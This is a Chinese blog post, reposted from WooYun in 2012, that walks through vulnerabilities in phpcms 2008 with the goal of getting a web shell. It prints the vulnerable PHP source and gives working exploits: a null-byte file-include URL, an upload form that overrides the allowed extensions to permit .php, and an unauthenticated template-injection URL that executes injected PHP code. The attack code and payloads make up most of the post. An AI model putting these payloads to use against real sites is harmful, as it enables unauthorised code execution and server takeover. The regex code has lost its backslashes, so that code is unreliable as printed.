phpcms 2008多个漏洞 (可getshell)

本文转自乌云:http://www.wooyun.org/bugs/wooyun-2010-09563
[php]

文件包含

1
2
3
4
<?php
define('IN_YP', TRUE);
define('ADMIN_ROOT', str_replace("", '/',dirname(__FILE__)).'/');
require '../include/common.inc.php';

要登陆

1
2
3
if(!$_userid) showmessage('您还没有登陆,即将跳转到登陆页面',
$MODULE['member']['url'].'login.php?forward='.urlencode(URL));
session_start();

$file变量可控制

1
2
3
4
5
6
if(!isset($file) || empty($file)) $file = 'panel';
/* $company_user_infos 获取企业会员信息 */
$company_user_infos = $db->get_one("SELECT * FROM `".DB_PRE."member_company` 
WHERE `userid`='$_userid'");
$userid = $_userid;

注册的时候选择企业用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
if(!$company_user_infos)
{
$MS['title'] = '您不是企业会员';
$MS['description'] = '你可以做下面操作';
$MS['urls'][0] = array(
'name'=>'免费升级为企业会员',
'url'=>$PHPCMS['siteurl'].$M['url'].'company.php?action=member',
);
$MS['urls'][1] = array(
'name'=>'退出当前帐号,换其他帐号登陆',
'url'=>$PHPCMS['siteurl'].'member/logout.php',
);
$MS['urls'][2] = array(
'name'=>'重新注册为企业会员',
'url'=>$PHPCMS['siteurl'].'member/logout.php?forward='.
urlencode($PHPCMS['siteurl'].'member/register.php'),
);
msg($MS);
}
$CATEGORY = subcat('yp');
$siteurl = company_url($userid, $company_user_infos['sitedomain']);
$_SESSION['url'] = QUERY_STRING;
if($file != 'company' && $M['enableSecondDomain'] &&
!$company_user_infos['sitedomain']) 
showmessage('请先绑定您的二级域名',BUSINESSDIR.'?file=company');
check_priv($file);
$GROUP = cache_read('member_group.php');
## 此处直接包含了,注意$file是可以控制的但须要截断
if(!@include ADMIN_ROOT.$file.'.inc.php'
showmessage('The file ./yp/'.$file.'.inc.php is not exists!');
function check_priv($file)
{
global $M,$PHPCMS,$_groupid;
if(!$M["allow_add_$file"]) return true;
if(!in_array($_groupid,$M["allow_add_$file"]))
{
$MS['title'] = '您所在的会员组没有此项操作权限';
$MS['description'] = '你可以做下面操作';
$MS['urls'][0] = array(
'name'=>'升级会员组',
'url'=>$PHPCMS['siteurl'].'member/upgrade.php',
);
$MS['urls'][1] = array(
'name'=>'返回商务中心',
'url'=>'?',
);
msg($MS);
}
}
?>

利用注册一个企业用户

1
EXP:http://localhost/phpcms/yp/business/?file=../../xxoo.txt%00.

由于涉及截断,所以鸡肋了,哥是要去拿shell的。

再看这一句

1
2
if(!@include ADMIN_ROOT.$file.'.inc.php'
showmessage('The file ./yp/'.$file.'.inc.php is not exists!');

以.inc.php结尾的文件有大把随便找个有漏的文件包含进来,不就能二次利用了?

首先进入视线的是/admin/upload.inc.php

看名字就知道如果能利用的话,将会…..(省略500字)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
defined('IN_PHPCMS') or exit('Access Denied');
require_once 'attachment.class.php';
$attachment = new attachment($mod);
if($catid)
{
$C = cache_read('category_'.$catid.'.php');
}
## 允许上传的后缀是从$C里取的,变量$C要通过上面那个判断才能赋值,典型的变量未初始化
$upload_allowext = $C['upload_allowext'] ? $C['upload_allowext'] : 
UPLOAD_ALLOWEXT;
$upload_maxsize = $C['upload_maxsize'] ? $C['upload_maxsize'] : 
UPLOAD_MAXSIZE;
if($dosubmit)
{
$attachment->upload('uploadfile', $upload_allowext, $upload_maxsize, 1);
if($attachment->error) showmessage($attachment->error());
//判断是否开启附件ftp上传,返回图片路径
$imgurl = UPLOAD_FTP_ENABLE ? $attachment->uploadedfiles[0]['filepath'] : 
UPLOAD_URL.$attachment->uploadedfiles[0]['filepath'];
$aid = $attachment->uploadedfiles[0]['aid'];
$filesize = $attachment->uploadedfiles[0]['filesize'];
$filesize = $attachment->size($filesize);
if($isthumb || $iswatermark)
{
require_once 'image.class.php';
$image = new image();
$img = UPLOAD_ROOT.$attachment->uploadedfiles[0]['filepath'];
if($isthumb)
{
$image->thumb($img, $img, $width, $height);
}
if($iswatermark)
{
$image->watermark($img, $img, $PHPCMS['watermark_pos'], 
$PHPCMS['watermark_img'], '', 5, '#ff0000', $PHPCMS['watermark_jpgquality']);
}
}
showmessage("文件上传成功!<script language='javascript'
try{ $(window.opener.document).find("form[@name='myform'] #$uploadtext").
val("$imgurl");$(window.opener.document).find("form[@name='myform'
#{$uploadtext}_aid").val("$aid");$(window.opener.document).
find("form[@name='myform'] #$filesize").val("$filesize");}catch(e){}
window.close();</script>", HTTP_REFERER);
}
else
{
include admin_tpl('upload');
}
?>

没什么好说的看EXP, 上传后查看网页源代码即可找到上传路径.

1
2
3
4
5
6
7
8
<form id="frmUpload" enctype="multipart/form-data&quot;
action="http://localhost/phpcms/yp/business/?file=
../../admin/upload&amp;C[upload_allowext]=php|Php%00.|php%00&dosubmit=yes" 
method="post">;
<h1>Upload a new file:</h1>
<input type="file" name="uploadfile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

传完后我才发现attachment.class.php 里有黑名单,怎么绕大家结合环境利用吧。

漏洞再一次被鸡肋化了,哥继续找。 再次进入视线的是block.inc.php,

看名字貌似是跟模块有关的,难不成可以写个shell ?

猫了个咪,打开文件我就想骂人了,做为admin目录下的文件,没有任何权限判断。

看144行左右,当$action 等于 post时。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
case 'post':
require_once 'template.func.php';
if($func == 'dosave') ## 这里完全不用管他,让他进入else
{
$block->set_template($blockid, $template);
$block->update($blockid, $data);
$data = $block->get_html($blockid);
}
else
{
$name = new_stripslashes($name);
$data = new_stripslashes($data);
$data = $block->strip_data($data);
$template = new_stripslashes($template);
$tpldata = template_parse($template);
$tplfile = TPL_CACHEPATH.'block_'.$blockid.'.preview.php'; ## 文件名
file_put_contents($tplfile, $tpldata); ## 生成文件
include $tplfile; ## 包含文件
@unlink($tplfile); ## 删除刚才生成的文件
$data = ob_get_contents();
ob_clean();
}
echo '<script language="JavaScript">parent.'.$func.'('.$blockid.',
"'.format_js($data, 0).'");</script>';
break;

在这里可以生成一个php文件,并马上包含进来,随后又删除了。由于包含进来了,

只要能控制php文件的内容,代码还是会被执行。

看取得文件内容的这一行,$tpldata = template_parse($template);

跟进template_parse函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function template_parse($str, $istag = 0)
{
$str = preg_replace("/([nr]+)t+/s","1",$str);
$str = preg_replace("/<!--{(.+?)}-->/s",
"{1}",$str);
$str = preg_replace("/{templates+(.+)}/",
"<?php include template(1); ?>",$str);
$str = preg_replace("/{includes+(.+)}/",
"<?php include 1; ?>",$str);
$str = preg_replace("/{phps+(.+)}/",
"<?php 1?>",$str);
$str = preg_replace("/{ifs+(.+?)}/",
"<?php if(1) { ?>",$str);
$str = preg_replace("/{else}/","<?php } else { ?>"
,$str);
$str = preg_replace("/{elseifs+(.+?)}/","<?php } elseif (1) { ?>",
$str);
$str = preg_replace("/{/if}/","<?php } ?>",$str);
$str = preg_replace("/{loops+(S+)s+(S+)}/","<?php 
if(is_array(1))foreach(1 AS 2) { ?>",$str);
$str = preg_replace("/{loops+(S+)s+(S+)s+(S+)}/","<?php 
if(is_array(1)) foreach(1 AS 2 => 3) { ?>",$str);
$str = preg_replace("/{/loop}/","<?php } ?>",$str);
$str = preg_replace("/{/get}/","<?php } unset($DATA); ?>",$str);
$str = preg_replace("/{tag_([^}]+)}/e", "get_tag('1')", $str);
$str = preg_replace("/{gets+([^}]+)}/e", "get_parse('1')", $str);
$str = preg_replace("/{([a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff:]
*(([^{}]*)))}/","<?php echo 1;?>",$str);
$str = preg_replace("/{$([a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff:]
*(([^{}]*)))}/","<?php echo 1;?>",$str);
$str = preg_replace("/{($[a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff]*)}/",
"<?php echo 1;?>",$str);
$str = preg_replace("/{($[a-zA-Z0-9_[]'"$x7f-xff]+)}/es",
"addquote('<?php echo 1;?>')",$str);
$str = preg_replace("/{([A-Z_x7f-xff][A-Z0-9_x7f-xff]*)}/s",
"<?php echo 1;?>",$str);
if(!$istag) $str = "<?php defined('IN_PHPCMS') or exit('Access Denied');
?>".$str;
return $str;
}

是用来处理一些模板语法,完全不用理会。

1
2
EXP:http://localhost/yp/business/?file=../../
admin/block&action=post&blockid=eval&template=<?php phpinfo();exit();?>

其实我觉得之前的那个注入漏洞比较严重~

Posted by creturn - 7月 19 2012
如需转载,请注明: 本文来自 Return's Blog